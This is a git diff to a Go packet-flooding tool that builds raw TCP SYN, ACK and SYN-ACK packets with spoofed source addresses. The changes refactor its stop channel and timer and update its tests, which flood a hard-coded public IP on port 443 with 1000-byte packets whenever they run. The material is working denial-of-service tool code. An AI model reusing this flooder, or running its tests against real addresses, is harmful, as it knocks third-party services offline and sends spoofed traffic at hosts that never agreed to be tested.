diff --git a/cmd/root.go b/cmd/root.go
index 8ba1e41..a1765a3 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -47,11 +47,13 @@ Please do not use that tool with devil needs.
 				}
 			}()
 
-			if opts.FloodDurationSeconds != -1 {
-				<-time.After(time.Duration(opts.FloodDurationSeconds) * time.Second)
-				shouldStop <- true
-				close(shouldStop)
-			}
+			go func() {
+				if opts.FloodDurationSeconds != -1 {
+					<-time.After(time.Duration(opts.FloodDurationSeconds) * time.Second)
+					shouldStop <- true
+					close(shouldStop)
+				}
+			}()
 
 			for {
 				select {
diff --git a/internal/raw/raw.go b/internal/raw/raw.go
index f644d10..ad93db1 100644
--- a/internal/raw/raw.go
+++ b/internal/raw/raw.go
@@ -17,7 +17,7 @@ func init() {
 }
 
 // StartFlooding does the heavy lifting, starts the flood
-func StartFlooding(shouldStop chan bool, destinationHost string, destinationPort, payloadLength int, floodType string) error {
+func StartFlooding(stopChan chan bool, destinationHost string, destinationPort, payloadLength int, floodType string) error {
 	var (
 		ipHeader   *ipv4.Header
 		packetConn net.PacketConn
@@ -41,7 +41,7 @@ func StartFlooding(shouldStop chan bool, destinationHost string, destinationPort
 
 	for {
 		select {
-		case <-shouldStop:
+		case <-stopChan:
 			return nil
 		default:
 			tcpPacket := buildTcpPacket(srcPorts[rand.Intn(len(srcPorts))], destinationPort, floodType)
diff --git a/internal/raw/raw_test.go b/internal/raw/raw_test.go
index 70ee422..5bb3459 100644
--- a/internal/raw/raw_test.go
+++ b/internal/raw/raw_test.go
@@ -18,45 +18,35 @@ func TestStartFlooding(t *testing.T) {
 		srcMacAddr, dstMacAddr          []byte
 	}{
 		{"100byte_syn", "syn", 10, srcPorts[rand.Intn(len(srcPorts))],
-			443, 100, srcIps[rand.Intn(len(srcIps))], "213.238.175.187",
+			443, 1000, srcIps[rand.Intn(len(srcIps))], "213.238.175.187",
 			macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))]},
 		{
 			"100byte_ack", "ack", 10, srcPorts[rand.Intn(len(srcPorts))],
-			443, 100, srcIps[rand.Intn(len(srcIps))], "213.238.175.187",
+			443, 1000, srcIps[rand.Intn(len(srcIps))], "213.238.175.187",
 			macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))],
 		},
 		{
 			"100byte_synack", "synAck", 10, srcPorts[rand.Intn(len(srcPorts))],
-			443, 100, srcIps[rand.Intn(len(srcIps))], "213.238.175.187",
+			443, 1000, srcIps[rand.Intn(len(srcIps))], "213.238.175.187",
 			macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))],
 		},
 	}
 
 	for _, tc := range cases {
 		t.Run(tc.name, func(t *testing.T) {
-			shouldStop := make(chan bool)
+			stopChan := make(chan bool)
 			t.Logf("starting flood, caseName=%s, floodType=%s, floodMilliSeconds=%d\n", tc.name, tc.floodType, tc.floodMilliSeconds)
-			go func() {
-				err := StartFlooding(shouldStop, tc.dstIp, tc.dstPort, tc.payloadLength, tc.floodType)
+			go func(stopChan chan bool, dstIp string, dstPort int, payloadLength int, floodType string) {
+				err := StartFlooding(stopChan, dstIp, dstPort, payloadLength, floodType)
 				if err != nil {
 					t.Errorf("an error occured on flooding process: %s\n", err.Error())
 					return
 				}
-			}()
+			}(stopChan, tc.dstIp, tc.dstPort, tc.payloadLength, tc.floodType)
 
 			<-time.After(time.Duration(tc.floodMilliSeconds) * time.Millisecond)
-			shouldStop <- true
-			close(shouldStop)
-
-			for {
-				select {
-				case <-shouldStop:
-					t.Logf("\nshouldStop channel received a signal, stopping\n")
-					return
-				default:
-					continue
-				}
-			}
+			stopChan <- true
+			t.Logf("\nshouldStop channel received a signal, stopping\n")
 		})
 	}
 }